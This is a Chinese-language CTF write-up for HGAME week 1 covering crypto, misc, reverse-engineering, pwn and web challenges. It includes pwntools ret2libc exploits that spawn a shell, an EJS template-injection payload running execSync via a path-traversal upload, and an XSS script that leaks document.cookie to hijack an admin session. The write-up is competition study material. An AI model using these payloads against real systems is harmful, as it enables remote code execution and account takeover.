队伍名称 :顾白
队伍ID :0002e1
成绩 :33
week1基本每个方向都差一道,week1结束时是十来名,week2没有精力做了
签到
> TEST NC
nc到靶机即可
> 从这里开始的序章。
CRYPTO
> ezBag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from sage.all import MixedIntegerLinearProgram, vectorfrom Crypto.Cipher import AESimport hashliblist_data = [ [2826962231 , 3385780583 , 3492076631 , ...], [2241199309 , 3658417261 , 3032816659 , ...], [4263404657 , 3176466407 , 3364259291 , ...], [2844773681 , 3852689429 , 4187117513 , ...] ] bag = [123342809734 , 118191282440 , 119799979406 , 128273451872 ] ciphertext = b'\x1d6\xcc}\x07\xfa7G\xbd\x01\xf0P4^Q"\x85\x9f\xac\x98\x8f#\xb2\x12\xf4+\x05`\x80\x1a\xfa !\x9b\xa5\xc7g\xa8b\x89\x93\x1e\xedz\xd2M;\xa2' mip = MixedIntegerLinearProgram(maximization=False ) x = mip.new_variable(binary=True , indices=range (64 )) for i in range (4 ): mip.add_constraint( sum (x[j] * list_data[i][j] for j in range (64 )) == bag[i] ) mip.solve() solution_bits = [int (round (mip.get_values(x[j]))) for j in range (64 )] p = 0 for j in reversed (range (64 )): p = (p << 1 ) | solution_bits[j] key = hashlib.sha256(str (p).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) plaintext = cipher.decrypt(ciphertext) print (plaintext)
> sieve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from tqdm import tqdme = 65537 n = e^2 //6 def sum_totients_with_progress (n ): phi = list (range (n + 1 )) phi_sum = [0 ] * (n + 1 ) primes = [] is_prime = [True ] * (n + 1 ) for i in tqdm(range (2 , n + 1 ), desc="Calculating Totients" ): if is_prime[i]: primes.append(i) phi[i] = i - 1 for p in primes: if i * p > n: break is_prime[i * p] = False if i % p == 0 : phi[i * p] = phi[i] * p break else : phi[i * p] = phi[i] * (p - 1 ) phi_sum[i] = phi_sum[i - 1 ] + phi[i] return phi_sum[n] n = 715849728 result = sum_totients_with_progress(n) print (f"Sum of totients from 2 to {n} : {result} " )from sympy import primepin = 715849728 count = primepi(n) print (count)p = q = nextprime((result+count+1 )<<128 ) p = q = 53003516465655400667707442798277521907437914663503790163 phi = (p-1 )*q d = inverse(e,phi) m = pow (enc,d,p*q) print (long_to_bytes(m))
MISC
> Hakuya Want A Girl Friend
附件为文件的16进制原始数据,导出为,是一个压缩包,但是需要密码
010打开查看,最后发现 GNP
,猜测十六进制逆序可以看到png图片
使用工具 FileReverse-Tools 对文件反转,并重命名 .png
爆破宽高得到解压密码 To_f1nd_th3_QQ
解压得到flag(需调整格式)
> Level 314 线性走廊中的双生实体
下载模型文件,查看安全层代码
尝试传入张量来满足条件,但总是失败,于是将 _0
改为 True
,重新打包模型,传入任意张量得到flag
> Computer cleaner
根据提示,查看上传的 shell.php
,查到 flag_part1 hgame{y0u_
查看上传日志
猜测 121.41.34.25
为攻击者ip,浏览器访问该ip得到 flag_part2 hav3_cleaned_th3
日志最后一条记录攻击者查询了 ~/Documents/flag_part3
,查看此文件得到 flag_part3 _c0mput3r!}
拼接,hgame{y0u_hav3_cleaned_th3_c0mput3r!}
PWN
> counting petals
数组越位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch = 'amd64' libc=ELF('./libc.so.6' ) p = remote('node2.hgame.vidar.club' , '31149' ) p.recvuntil(b'How many flowers have you prepared this time?' ) p.sendline(b'16' ) for i in range (15 ): p.recvuntil(b'the flower number ' ) p.sendline(b'20' ) p.recvuntil(b'the flower number ' ) t=0x7ffffffc00000014 -0x8000000000000000 p.sendline(str (t).encode()) for i in range (4 +15 ): p.recvuntil(b'the flower number ' ) p.sendline(b'0' ) t=0x2000000020 p.recvuntil(b'the flower number ' ) p.sendline(str (t).encode()) p.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ' ) p.sendline(b'1' ) p.recvuntil(b'Let\'s look at the results.\n' ) enc=list (map (int ,p.recvline()[:-3 ].decode().replace(' ' ,'' ).split('+' ))) print (enc)libc_start_main=enc[18 ]-128 log.success(hex (libc_start_main)) libc_base = libc_start_main-0x29d10 log.success('libc_base: ' +hex (libc_base)) system=libc_base+libc.symbols['system' ] binsh=libc_base+next (libc.search(b'/bin/sh' )) p.recvuntil(b'How many flowers have you prepared this time?' ) p.sendline(b'16' ) for i in range (15 ): p.recvuntil(b'the flower number ' ) p.sendline(b'20' ) t=0x1200000016 p.recvuntil(b'the flower number ' ) p.sendline(str (t).encode()) p.recvuntil(b'the flower number ' ) p.sendline(str (libc_base+0x29139 ).encode()) p.recvuntil(b'the flower number ' ) p.sendline(str (libc_base+0x2a3e5 ).encode()) p.recvuntil(b'the flower number ' ) p.sendline(str (binsh).encode()) p.recvuntil(b'the flower number ' ) p.sendline(str (system).encode()) p.recvuntil(b'Reply 1 indicates the former and 2 indicates the latter: ' ) p.sendline(b'1' ) p.interactive()
格式化字符串泄露buf地址,-1溢出后跳回printf(buf)泄露libc信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] libc = ELF('./libc.so.6' ) elf = ELF('./vuln' ) bss = 0x404050 ret = 0x40101a p = remote('node1.hgame.vidar.club' ,30506 ) p.recvuntil(b'n = ' ) p.sendline(b'1' ) p.recvuntil(b'type something:' ) p.sendline("%p" ) p.recvuntil(b'0x' ) buf = int (p.recvuntil(b'y' , drop=True ), 16 )+0x2138 +0x10 log.success(f'buf: {hex (buf)} ' ) p.recvuntil(b'n = ' ) p.send(b'-1' ) payload = b'a' *5 +p64(buf-0x18 )+p64(0x4012CF )+b'%3$p' p.send(payload) p.recvuntil(b'0x' ) read_addr = int (p.recvuntil(b'\xff' , drop=True ), 16 )-18 log.success(f'read_addr: {hex (read_addr)} ' ) libc_base = read_addr-libc.sym['read' ] log.success(f'libc_base: {hex (libc_base)} ' ) rdi = libc_base+0x2a3e5 log.success(f'rdi: {hex (rdi)} ' ) system = libc_base+libc.sym['system' ] log.success(f'system: {hex (system)} ' ) binsh = libc_base+next (libc.search(b'/bin/sh' )) log.success(f'binsh: {hex (binsh)} ' ) payload = b'a' *4 +p64(buf-0x18 )+p64(ret)+p64(rdi)+p64(binsh)+p64(system) p.sendline(payload) p.interactive()
RE
> Compress dot new
霍夫曼编码解压缩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import jsondef build_decoder_tree (huffman_tree ): def parse_tree (node ): if 's' in node: return node['s' ] left = parse_tree(node['a' ]) right = parse_tree(node['b' ]) return {'0' : left, '1' : right} return parse_tree(huffman_tree) def decode_bits (bits, decoder_tree ): decoded = [] current = decoder_tree for bit in bits: if isinstance (current, int ): decoded.append(current) current = decoder_tree current = current[bit] if isinstance (current, int ): decoded.append(current) return bytes (decoded) def decompress (compressed_data ): tree_json, bit_string = compressed_data.split('\n' ) huffman_tree = json.loads(tree_json) decoder_tree = build_decoder_tree(huffman_tree) decoded = decode_bits(bit_string, decoder_tree) return decoded with open ('enc.txt' , 'r' ) as f: compressed_data = f.read() decompressed = decompress(compressed_data) with open ('flag.txt' , 'wb' ) as f: f.write(decompressed) print (decompressed.decode())
> Turtle
使用dbg脱upx(魔改过)
发现大跳转,打断点,fix后rebuild
sub_401550
为 KSA
加密密钥为Buf2
解密key:
1 2 3 4 5 Buf2[0 ] = -51 ; Buf2[1 ] = -113 ; Buf2[2 ] = 37 ; Buf2[3 ] = 61 ; Buf2[4 ] = -31 ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def rc4_ksa (key ): s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + key[i % len (key)]) % 256 s[i], s[j] = s[j], s[i] return s key_ksa = b'yekyek' cipher_key = bytes ([0xCD , 0x8F , 0x25 , 0x3D , 0xE1 , 0x51 , 0x4A ]) s = rc4_ksa(key_ksa) key_stream = rc4_prga(s, len (cipher_key)) plain_key = bytes ([cipher_key[i] ^ key_stream[i] for i in range (7 )]) print (f"Key: {plain_key} " )
解密flag时的KSA用到 Dest
,也就是第一次rc4的key (plain_key)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def rc4_ksa (key ): s = list (range (256 )) j = 0 for i in range (256 ): j = (j + s[i] + key[i % len (key)]) % 256 s[i], s[j] = s[j], s[i] return s def rc4_prga (s, length ): i = 0 j = 0 key_stream = [] s = s.copy() for _ in range (length): i = (i + 1 ) % 256 j = (j + s[i]) % 256 s[i], s[j] = s[j], s[i] k = s[(s[i] + s[j]) % 256 ] key_stream.append(k) return key_stream key_ksa = b'yekyek' cipher_key = bytes ([0xCD , 0x8F , 0x25 , 0x3D , 0xE1 , 0x51 , 0x4A ]) s = rc4_ksa(key_ksa) key_stream = rc4_prga(s, len (cipher_key)) plain_key = bytes ([cipher_key[i] ^ key_stream[i] for i in range (7 )]) print (f"Key: {plain_key} " )cipher_flag = bytes ([ 0xF8 , 0xD5 , 0x62 , 0xCF , 0x43 , 0xBA , 0xC2 , 0x23 , 0x15 , 0x4A , 0x51 , 0x10 , 0x27 , 0x10 , 0xB1 , 0xCF , 0xC4 , 0x09 , 0xFE , 0xE3 , 0x9F , 0x49 , 0x87 , 0xEA , 0x59 , 0xC2 , 0x07 , 0x3B , 0xA9 , 0x11 , 0xC1 , 0xBC , 0xFD , 0x4B , 0x57 , 0xC4 , 0x7E , 0xD0 , 0xAA , 0x0A ]) s_flag = rc4_ksa(plain_key) key_stream_flag = rc4_prga(s_flag, len (cipher_flag)) plain_flag = bytes ([(cipher_flag[i] + key_stream_flag[i]) % 256 for i in range (40 )]) print (f"Flag: {plain_flag.decode()} " )
> 尊嘟假嘟
随便点点app发现在log里输出了,每次都是60字符,结尾大概率有“33”(最后发现是魔改base64换标然后把==替换成33了好像)
首先分析一下apk,有一个DexCall类,加载了两个so文件,并且用so处理并复制一个dex到私有路径并加载dex,调用一个方法后删除dex。
还有个toast类,里面有个native的check 方法
1 2 check(this .mycontext, (String) DexCall.callDexMethod(this .mycontext, this .mycontext.getString(R.string.dex), this .mycontext.getString(R.string.classname), this .mycontext.getString(R.string.func1), s));
比如this.mycontext.getString(R.string.dex)
在resources.arsc
里的com.nobody.zunjia/string/string.xml
复原后就是
1 (String) DexCall.callDexMethod("zunjia.dex" ,"com.nobody.zundujiadu" , "encode" , s);
在apk里确实有assets/zunjia.dex
,但是格式错误,因为dex被加密,解密在zunjia.so里实现
这里暂时没必要分析,只需要知道zunjia,so用于解密dex即可。
那么显然check函数是关键,在check.so里实现,,注意一点传入的字符串先经过dex加密了一次。
分析check.so
找到加密的地方了,这里标出了encode的函数,以及密文
1 [0x7A , 0xC7 , 0xC7 , 0x94 , 0x51 , 0x82 , 0xF5 , 0x99 , 0x0C , 0x30 , 0xC8 , 0xCD , 0x97 , 0xFE , 0x3D , 0xD2 , 0xAE , 0x0E , 0xBA , 0x83 , 0x59 , 0x87 , 0xBB , 0xC6 , 0x35 , 0xE1 , 0x8C , 0x59 , 0xEF , 0xAD , 0xFA , 0x94 , 0x74 , 0xD3 , 0x42 , 0x27 , 0x98 , 0x77 , 0x54 , 0x3B , 0x46 , 0x5E , 0x95 ]
首先用传参处理固定key,然后用key处理(解密)一段字符,最后再调用dex的encode方法将结果log输出。
将他转换成py就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def encode (a1, keys ): a_len = len (a1) v6 = 0 v5 = 0 a1_bytes = bytearray (a1) for i in range (a_len): v6 = (v6 + keys[v6 + 1 ]) % 256 keys[v6], keys[v5] = keys[v5], keys[v6] a1_bytes[i] ^= keys[(keys[v6] + keys[v5]) % 256 ] a1_list = list (a1_bytes) a1_modified = bytes (a1_bytes) return a1_list def enkeys (a1 ): keys = list (range (256 )) result = len (a1) var1 = bytearray (256 ) for j in range (256 ): var1[j] = ord (a1[j % result]) var2 = 0 for k in range (256 ): var3 = (var2 + keys[k] + var1[k]) & 0xFF var2 = var3 keys[k], keys[var3] = keys[var3], keys[k] return keys
于是我们就理清了加密逻辑,输入->调dex函数->so加密密钥->so魔改rc4->调dex函数
由于check函数不check,我们就需要自己爆破了
由题目可知,是0.o和o.0的组合,最大不超过36个字符,只需要模拟它的加密过程并判断有没有hgame开头的flag即可
这里dex加密还没解决,于是我突发奇想,用相同包名,复制它的代码,自己写个app即可调用dex方法。
包名用com.nobody.zunjia
,将dex和so放在assets和jniLibs里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 │ AndroidManifest.xml │ ├─assets │ zunjia.dex │ ├─java │ └─com │ └─nobody │ └─zunjia │ DexCall.java │ Encoder.java │ MainActivity.java │ toast.java │ ├─jniLibs │ ├─arm64-v8a │ │ libcheck.so │ │ libzunjia.so │ │ │ ├─armeabi-v7a │ │ libcheck.so │ │ libzunjia.so │ │ │ ├─x86 │ │ libcheck.so │ │ libzunjia.so │ │ │ └─x86_64 │ libcheck.so │ libzunjia.so
这里我们用java实现一些上述python的算法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.nobody.zunjia;import java.util.ArrayList;import java.util.List;public class Encoder { public static byte [] encode(List<Integer> a1, List<Integer> keys) { int aLen = a1.size(); int i = 0 ; int j = 0 ; List<Byte> a1Bytes = new ArrayList <>(); for (int val : a1) { a1Bytes.add((byte ) val); } for (int index = 0 ; index < aLen; index++) { i = (i + 1 ) % 256 ; j = (j + keys.get(i)) % 256 ; int temp = keys.get(i); keys.set(i, keys.get(j)); keys.set(j, temp); int xorIndex = (keys.get(i) + keys.get(j)) % 256 ; byte xorResult = (byte ) (a1Bytes.get(index) ^ keys.get(xorIndex)); a1Bytes.set(index, xorResult); } byte [] byteArray = new byte [a1Bytes.size()]; for (int index = 0 ; index < a1Bytes.size(); index++) { byteArray[index] = a1Bytes.get(index); } return byteArray; } public static List<Integer> enkeys (String a1) { List<Integer> keys = new ArrayList <>(); for (int i = 0 ; i < 256 ; i++) { keys.add(i); } int j = 0 ; int keyLength = a1.length(); for (int i = 0 ; i < 256 ; i++) { j = (j + keys.get(i) + (a1.charAt(i % keyLength) & 0xFF )) % 256 ; int temp = keys.get(i); keys.set(i, keys.get(j)); keys.set(j, temp); } return keys; } }
优化一下dexcall类,防止爆破时候爆缓存,只读取和解密一次dex。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package com.nobody.zunjia;import android.content.Context;import dalvik.system.DexClassLoader;import java.io.File;import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class DexCall { private static File dexFile; private static DexClassLoader dexClassLoader; static native File copyDexFromAssets (Context context, String str, File file) ; static { System.loadLibrary("zunjia" ); System.loadLibrary("check" ); } public static void init (Context context, String dexFileName) { File dexDir = new File (context.getCacheDir(), "dex" ); if (dexDir.mkdir() || dexDir.setWritable(true )) { dexFile = copyDexFromAssets(context, dexFileName, dexDir); if (dexFile != null && dexFile.exists() && dexFile.setReadOnly()) { dexClassLoader = new DexClassLoader ( dexFile.getAbsolutePath(), dexDir.getAbsolutePath(), null , context.getClassLoader() ); } } } public static void cleanup () { if (dexFile != null && dexFile.exists()) { dexFile.delete(); } } public static Object callDexMethod (String className, String methodName, Object input) { if (dexClassLoader == null ) { throw new IllegalStateException ("DexClassLoader not initialized. Call init() first." ); } try { Class<?> targetClass = dexClassLoader.loadClass(className); Constructor<?> constructor = targetClass.getConstructor(); constructor.setAccessible(true ); Object instance = constructor.newInstance(); Method targetMethod = targetClass.getMethod(methodName, input.getClass()); return targetMethod.invoke(instance, input); } catch (Exception e) { e.printStackTrace(); return null ; } } }
在main里爆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 DexCall.init(this ,"zunjia.dex" ); for (int length = 1 ; length < 13 ; length++) { for (int i = 0 ; i < (int ) Math.pow(2 , length); i++) { String binaryStr = Integer.toBinaryString(i); while (binaryStr.length() < length) { binaryStr = "0" + binaryStr; } String abStr = binaryStr.replace("0" , "0.o" ).replace("1" , "o.0" ); if (superEncode(abStr).contains("hgame" )) { Log.d("-----------------" ,superEncode(abStr)); Log.d("000000000000000000000" ,abStr); break ; } } } public String superEncode (String s) { String a = (String) DexCall.callDexMethod( "com.nobody.zundujiadu" , "encode" , s); List<Integer> keys = Encoder.enkeys(a); List<Integer> input_string = Arrays.asList(0x7A , 0xC7 , 0xC7 , 0x94 , 0x51 , 0x82 , 0xF5 , 0x99 , 0x0C , 0x30 , 0xC8 , 0xCD , 0x97 , 0xFE , 0x3D , 0xD2 , 0xAE , 0x0E , 0xBA , 0x83 , 0x59 , 0x87 , 0xBB , 0xC6 , 0x35 , 0xE1 , 0x8C , 0x59 , 0xEF , 0xAD , 0xFA , 0x94 , 0x74 , 0xD3 , 0x42 , 0x27 , 0x98 , 0x77 , 0x54 , 0x3B , 0x46 , 0x5E , 0x95 ); return new String (Encoder.encode(input_string, keys)); }
运行一次app,然后在log里即可看到flag
当然优化的dexcall函数让dex就解密了在私有路径下/data/user/0/com.nobody.zunjia/cache/dex/zunjia.dex
也就可以自己实现他的算法爆破了。
WEB
> Level 24 Pacman
控制台改分
游戏结束得到base64编码
base64解码 + 栅栏2栏 得到flag
> Level 47 BandBomb
文件上传,分析下js
1 2 3 4 5 6 7 8 9 10 11 12 const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } });
multer默认情况下会保留原始文件名,可能存在路径遍历漏洞,导致文件被上传到其他目录
1 app.set ('view engine' , 'ejs' );
上传的文件被当作EJS模板渲染的话,会有模板注入漏洞
所以攻击思路为:上传一个包含恶意代码的EJS文件,通过向/rename发post改名,通过路径遍历改到views目录,访问目标网站
exp.ejs:
1 2 3 <%= global.process.mainModule.constructor._load('child_process').execSync('env') %>
上传
发送post
刷新网页,得到flag
> Level 69 MysteryMessageBoard
根据提示,爆出admin session并替换,访问/flag即可得到flag
bp抓包,Sniper爆破得到密码为 888888
发现留言框有xss漏洞
使用Fetch API来发送cookie
1 2 3 4 5 6 7 8 9 <script> fetch ('/comments/new' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , }, body : 'comment=Admin+Cookie:+' +encodeURIComponent (document .cookie ) }).then (response => console .log ('Cookie Sent!' )); </script>
提交评论,刷新后出现了自己的cookie,但是需要admin的cookie
访问 /admin
,提示 admin
访问了留言板,得到 admin cookie
修改自身cookie,访问 /flag
,得到flag